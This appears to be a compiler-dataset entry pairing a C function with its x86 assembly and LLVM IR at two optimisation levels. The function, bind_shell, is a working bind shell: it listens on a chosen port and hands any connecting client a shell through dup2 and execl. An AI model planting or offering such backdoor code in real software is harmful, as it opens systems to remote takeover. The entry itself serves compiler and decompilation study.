#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ sin;
typedef int /*<<< orphan*/ pid_t;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, int /*<<< orphan*/ *, int /*<<< orphan*/);
scalar_t__ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int);
scalar_t__ fork();
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
int /*<<< orphan*/ htons(int);
scalar_t__ listen(int, int);
int /*<<< orphan*/ memset(struct sockaddr_in *, int /*<<< orphan*/, int);
int /*<<< orphan*/ printf(char *, ...);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int strtol(char *, char **, int /*<<< orphan*/);
void bind_shell(char **argv) {
  pid_t pid;
  int sockfd, port, result;
  char *endptr;
  struct sockaddr_in sin;
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    printf("Error creating socket.\n");
    return;
  }
  port = strtol(argv[1], &endptr, 0);
  if (*endptr) {
    printf("Invalid port number.\n");
    exit(1);
  }
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = htonl(INADDR_ANY);
  sin.sin_port = htons(port);
  printf("Bound to port %d, waiting for connection...\n", port);
  if (bind(sockfd, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    printf("Error binding to port.\n");
    return;
  }
  if (listen(sockfd, 1) < 0) {
    printf("Error listening for connections.\n");
    return;
  }
  while (1) {
    if ((result = accept(sockfd, NULL, 0)) < 0) {
      printf("Error accepting new connection.\n");
      return;
    }
    printf("Received connection, dropping shell.\n");
    if (fork() == 0) {
      dup2(result, 2);
      dup2(result, 1);
      dup2(result, 0);
      execl(argv[2], argv[2], NULL);
      return;
    } else
      close(result);
  }
}


x86 assembly (clang, -O0):
<bind_shell>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x8(%rbp)
mov    0x2df5(%rip),%rax
mov    (%rax),%edi
mov    0x2dd4(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1100 <socket@plt>
mov    %eax,-0x10(%rbp)
cmp    $0x0,%eax
jge    1224 <bind_shell+0x44>
lea    0xde8(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    13a0 <bind_shell+0x1c0>
mov    -0x8(%rbp),%rax
mov    0x8(%rax),%rdi
lea    -0x20(%rbp),%rsi
xor    %edx,%edx
call   1090 <strtol@plt>
mov    %eax,-0x14(%rbp)
mov    -0x20(%rbp),%rax
cmpb   $0x0,(%rax)
je     125f <bind_shell+0x7f>
lea    0xdca(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
lea    -0x30(%rbp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1070 <memset@plt>
mov    0x2d72(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x28(%rbp)
mov    0x2d5e(%rip),%rax
mov    (%rax),%edi
call   1060 <htonl@plt>
mov    %eax,-0x2c(%rbp)
mov    -0x14(%rbp),%edi
call   1030 <htons@plt>
mov    %eax,-0x30(%rbp)
mov    -0x14(%rbp),%esi
lea    0xd8d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x10(%rbp),%edi
lea    -0x30(%rbp),%rsi
mov    $0xc,%edx
call   10b0 <bind@plt>
cmp    $0x0,%rax
jge    12d6 <bind_shell+0xf6>
lea    0xd91(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    13a0 <bind_shell+0x1c0>
mov    -0x10(%rbp),%edi
mov    $0x1,%esi
call   10a0 <listen@plt>
cmp    $0x0,%rax
jge    1300 <bind_shell+0x120>
lea    0xd7f(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    13a0 <bind_shell+0x1c0>
jmp    1305 <bind_shell+0x125>
mov    -0x10(%rbp),%edi
xor    %eax,%eax
mov    %eax,%esi
xor    %edx,%edx
call   10c0 <accept@plt>
mov    %eax,-0x18(%rbp)
cmp    $0x0,%eax
jge    1332 <bind_shell+0x152>
lea    0xd6f(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
jmp    13a0 <bind_shell+0x1c0>
lea    0xd7d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x0,%al
call   10f0 <fork@plt>
cmp    $0x0,%rax
jne    1393 <bind_shell+0x1b3>
mov    -0x18(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x18(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x8(%rbp),%rax
mov    0x10(%rax),%rdi
mov    -0x8(%rbp),%rax
mov    0x10(%rax),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10e0 <execl@plt>
jmp    13a0 <bind_shell+0x1c0>
mov    -0x18(%rbp),%edi
call   1080 <close@plt>
jmp    1305 <bind_shell+0x125>
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<bind_shell>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x20,%rsp
mov    %rdi,%r14
mov    0x2de2(%rip),%r12
mov    (%r12),%edi
mov    0x2dbf(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1110 <socket@plt>
test   %eax,%eax
js     1305 <bind_shell+0x115>
mov    %eax,%ebp
mov    0x8(%r14),%rdi
lea    0x18(%rsp),%rsi
xor    %edx,%edx
call   10a0 <strtol@plt>
mov    %eax,%ebx
mov    0x18(%rsp),%rax
cmpb   $0x0,(%rax)
jne    1370 <bind_shell+0x180>
lea    0x8(%rsp),%r15
mov    %r15,%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1080 <memset@plt>
mov    (%r12),%eax
mov    %eax,0x10(%rsp)
mov    0x2d79(%rip),%rax
mov    (%rax),%edi
call   1070 <htonl@plt>
mov    %eax,0xc(%rsp)
mov    %ebx,%edi
call   1040 <htons@plt>
mov    %eax,0x8(%rsp)
lea    0xd7c(%rip),%rdi
mov    %ebx,%esi
xor    %eax,%eax
call   1060 <printf@plt>
mov    %ebp,%edi
mov    %r15,%rsi
mov    $0xc,%edx
call   10c0 <bind@plt>
test   %rax,%rax
js     131d <bind_shell+0x12d>
mov    %ebp,%edi
mov    $0x1,%esi
call   10b0 <listen@plt>
test   %rax,%rax
js     1326 <bind_shell+0x136>
mov    %ebp,%edi
xor    %esi,%esi
xor    %edx,%edx
call   10d0 <accept@plt>
test   %eax,%eax
js     12fc <bind_shell+0x10c>
mov    %eax,%ebx
lea    0xd5f(%rip),%r15
xchg   %ax,%ax
mov    %r15,%rdi
call   1030 <puts@plt>
xor    %eax,%eax
call   1100 <fork@plt>
test   %rax,%rax
je     133f <bind_shell+0x14f>
mov    %ebx,%edi
call   1090 <close@plt>
mov    %ebp,%edi
xor    %esi,%esi
xor    %edx,%edx
call   10d0 <accept@plt>
mov    %eax,%ebx
test   %eax,%eax
jns    12d0 <bind_shell+0xe0>
lea    0xd4f(%rip),%rdi
jmp    132d <bind_shell+0x13d>
lea    0xdb3(%rip),%rdi
add    $0x20,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
jmp    1030 <puts@plt>
lea    0xd6f(%rip),%rdi
jmp    132d <bind_shell+0x13d>
lea    0xd45(%rip),%rdi
call   1030 <puts@plt>
add    $0x20,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
mov    %ebx,%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    0x10(%r14),%rdi
mov    %rdi,%rsi
xor    %edx,%edx
call   10f0 <execl@plt>
jmp    1332 <bind_shell+0x142>
lea    0xd33(%rip),%rdi
call   1030 <puts@plt>
mov    $0x1,%edi
call   10e0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [24 x i8] c"Error creating socket.\0A\00"
@.str.1 = [22 x i8] c"Invalid port number.\0A\00"
@INADDR_ANY = global i32 0
@.str.2 = [45 x i8] c"Bound to port %d, waiting for connection...\0A\00"
@.str.3 = [24 x i8] c"Error binding to port.\0A\00"
@.str.4 = [34 x i8] c"Error listening for connections.\0A\00"
@.str.5 = [33 x i8] c"Error accepting new connection.\0A\00"
@.str.6 = [38 x i8] c"Received connection, dropping shell.\0A\00"
define void @bind_shell(i8** %0) {
%2 = alloca i8**
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca i32
%7 = alloca i8*
%8 = alloca %struct.sockaddr_in
store i8** %0, i8*** %2
%9 = load i32, i32* @AF_INET
%10 = load i32, i32* @SOCK_STREAM
%11 = call i32 @socket(i32 %9, i32 %10, i32 0)
store i32 %11, i32* %4
%12 = icmp slt i32 %11, 0
br i1 %12, label %13, label %15
13: ; preds = %1
%14 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0))
br label %80
15: ; preds = %1
%16 = load i8**, i8*** %2
%17 = getelementptr inbounds i8*, i8** %16, i64 1
%18 = load i8*, i8** %17
%19 = call i32 @strtol(i8* %18, i8** %7, i32 0)
store i32 %19, i32* %5
%20 = load i8*, i8** %7
%21 = load i8, i8* %20
%22 = icmp ne i8 %21, 0
br i1 %22, label %23, label %26
23: ; preds = %15
%24 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0))
%25 = call i32 @exit(i32 1)
unreachable
26: ; preds = %15
%27 = call i32 @memset(%struct.sockaddr_in* %8, i32 0, i32 12)
%28 = load i32, i32* @AF_INET
%29 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 2
store i32 %28, i32* %29
%30 = load i32, i32* @INADDR_ANY
%31 = call i32 @htonl(i32 %30)
%32 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 1
%33 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %32, i32 0, i32 0
store i32 %31, i32* %33
%34 = load i32, i32* %5
%35 = call i32 @htons(i32 %34)
%36 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 0
store i32 %35, i32* %36
%37 = load i32, i32* %5
%38 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([45 x i8], [45 x i8]* @.str.2, i64 0, i64 0), i32 %37)
%39 = load i32, i32* %4
%40 = bitcast %struct.sockaddr_in* %8 to %struct.sockaddr*
%41 = call i64 @bind(i32 %39, %struct.sockaddr* %40, i32 12)
%42 = icmp slt i64 %41, 0
br i1 %42, label %43, label %45
43: ; preds = %26
%44 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.3, i64 0, i64 0))
br label %80
45: ; preds = %26
%46 = load i32, i32* %4
%47 = call i64 @listen(i32 %46, i32 1)
%48 = icmp slt i64 %47, 0
br i1 %48, label %49, label %51
49: ; preds = %45
%50 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.4, i64 0, i64 0))
br label %80
51: ; preds = %45
br label %52
52: ; preds = %51, %79
%53 = load i32, i32* %4
%54 = call i32 @accept(i32 %53, i32* null, i32 0)
store i32 %54, i32* %6
%55 = icmp slt i32 %54, 0
br i1 %55, label %56, label %58
56: ; preds = %52
%57 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.5, i64 0, i64 0))
br label %80
58: ; preds = %52
%59 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.6, i64 0, i64 0))
%60 = call i64 (...) @fork()
%61 = icmp eq i64 %60, 0
br i1 %61, label %62, label %76
62: ; preds = %58
%63 = load i32, i32* %6
%64 = call i32 @dup2(i32 %63, i32 2)
%65 = load i32, i32* %6
%66 = call i32 @dup2(i32 %65, i32 1)
%67 = load i32, i32* %6
%68 = call i32 @dup2(i32 %67, i32 0)
%69 = load i8**, i8*** %2
%70 = getelementptr inbounds i8*, i8** %69, i64 2
%71 = load i8*, i8** %70
%72 = load i8**, i8*** %2
%73 = getelementptr inbounds i8*, i8** %72, i64 2
%74 = load i8*, i8** %73
%75 = call i32 @execl(i8* %71, i8* %74, i32* null)
br label %80
76: ; preds = %58
%77 = load i32, i32* %6
%78 = call i32 @close(i32 %77)
br label %79
79: ; preds = %76
br label %52
80: ; preds = %62, %56, %49, %43, %13
ret void
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@INADDR_ANY = global i32 0
@.str.2 = [45 x i8] c"Bound to port %d, waiting for connection...\0A\00"
@str = [37 x i8] c"Received connection, dropping shell.\00"
@str.7 = [32 x i8] c"Error accepting new connection.\00"
@str.8 = [33 x i8] c"Error listening for connections.\00"
@str.9 = [23 x i8] c"Error binding to port.\00"
@str.10 = [21 x i8] c"Invalid port number.\00"
@str.11 = [23 x i8] c"Error creating socket.\00"
define void @bind_shell(i8** nocapture %0) {
%2 = alloca i8*
%3 = alloca %struct.sockaddr_in
%4 = bitcast i8** %2 to i8*
%5 = bitcast %struct.sockaddr_in* %3 to i8*
%6 = load i32, i32* @AF_INET
%7 = load i32, i32* @SOCK_STREAM
%8 = tail call i32 @socket(i32 %6, i32 %7, i32 0)
%9 = icmp slt i32 %8, 0
br i1 %9, label %10, label %12
10: ; preds = %1
%11 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str.11, i64 0, i64 0))
br label %63
12: ; preds = %1
%13 = getelementptr inbounds i8*, i8** %0, i64 1
%14 = load i8*, i8** %13
%15 = call i32 @strtol(i8* %14, i8** %2, i32 0)
%16 = load i8*, i8** %2
%17 = load i8, i8* %16
%18 = icmp eq i8 %17, 0
br i1 %18, label %22, label %19
19: ; preds = %12
%20 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str.10, i64 0, i64 0))
%21 = tail call i32 @exit(i32 1)
unreachable
22: ; preds = %12
%23 = call i32 @memset(%struct.sockaddr_in* %3, i32 0, i32 12)
%24 = load i32, i32* @AF_INET
%25 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %24, i32* %25
%26 = load i32, i32* @INADDR_ANY
%27 = call i32 @htonl(i32 %26)
%28 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1, i32 0
store i32 %27, i32* %28
%29 = call i32 @htons(i32 %15)
%30 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
store i32 %29, i32* %30
%31 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([45 x i8], [45 x i8]* @.str.2, i64 0, i64 0), i32 %15)
%32 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%33 = call i64 @bind(i32 %8, %struct.sockaddr* %32, i32 12)
%34 = icmp slt i64 %33, 0
br i1 %34, label %35, label %37
35: ; preds = %22
%36 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str.9, i64 0, i64 0))
br label %63
37: ; preds = %22
%38 = call i64 @listen(i32 %8, i32 1)
%39 = icmp slt i64 %38, 0
br i1 %39, label %43, label %40
40: ; preds = %37
%41 = call i32 @accept(i32 %8, i32* null, i32 0)
%42 = icmp slt i32 %41, 0
br i1 %42, label %45, label %47
43: ; preds = %37
%44 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([33 x i8], [33 x i8]* @str.8, i64 0, i64 0))
br label %63
45: ; preds = %59, %40
%46 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str.7, i64 0, i64 0))
br label %63
47: ; preds = %40, %59
%48 = phi i32 [ %61, %59 ], [ %41, %40 ]
%49 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([37 x i8], [37 x i8]* @str, i64 0, i64 0))
%50 = call i64 (...) @fork()
%51 = icmp eq i64 %50, 0
br i1 %51, label %52, label %59
52: ; preds = %47
%53 = call i32 @dup2(i32 %48, i32 2)
%54 = call i32 @dup2(i32 %48, i32 1)
%55 = call i32 @dup2(i32 %48, i32 0)
%56 = getelementptr inbounds i8*, i8** %0, i64 2
%57 = load i8*, i8** %56
%58 = call i32 @execl(i8* %57, i8* %57, i32* null)
br label %63
59: ; preds = %47
%60 = call i32 @close(i32 %48)
%61 = call i32 @accept(i32 %8, i32* null, i32 0)
%62 = icmp slt i32 %61, 0
br i1 %62, label %45, label %47
63: ; preds = %52, %45, %43, %35, %10
ret void
}